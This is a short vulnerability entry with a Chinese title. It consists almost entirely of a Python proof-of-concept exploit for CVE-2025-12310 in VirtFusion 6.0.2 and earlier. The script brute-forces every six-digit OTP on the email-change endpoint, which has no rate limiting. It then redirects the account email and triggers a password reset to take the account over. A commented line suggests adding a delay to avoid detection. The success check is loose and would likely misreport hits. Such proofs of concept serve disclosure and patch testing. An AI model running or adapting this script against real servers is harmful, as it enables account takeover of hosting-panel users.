VirtFusion <= 6.0.2 Email Change Handler 过度认证尝试限制不当漏洞

import requests import itertools import string target_url = "http://target-server/account/_settings" target_email = "[email protected]" new_email = "[email protected]" # Generate all 6-digit combinations for brute force def generate_otp_codes(): for code in itertools.product(string.digits, repeat=6): yield ''.join(code) def exploit_cve_2025_12310(): """ PoC for CVE-2025-12310: VirtFusion Email Change Handler Improper Restriction of Excessive Authentication Attempts """ session = requests.Session() # Step 1: Request email change to initialize OTP init_payload = { 'action': 'change_email', 'new_email': new_email, 'current_password': 'any_password' } response = session.post(target_url, data=init_payload) # Step 2: Brute force the 6-digit OTP code for otp_code in generate_otp_codes(): exploit_payload = { 'action': 'verify_email_change', 'otp_code': otp_code } response = session.post(target_url, data=exploit_payload) # Check if email change was successful if 'success' in response.text.lower() or response.status_code == 200: print(f"[!] Valid OTP found: {otp_code}") print(f"[!] Email changed to: {new_email}") # Step 3: Reset password using new email password_reset_url = "http://target-server/password/reset" reset_payload = { 'email': new_email } session.post(password_reset_url, data=reset_payload) print("[!] Password reset request sent to new email") return True # Optional: Add delay to avoid detection # time.sleep(0.1) return False if __name__ == "__main__": print("CVE-2025-12310 PoC - VirtFusion Email Change Handler") print("Target: /account/_settings endpoint") print("Vulnerability: No rate limiting on OTP verification") exploit_cve_2025_12310()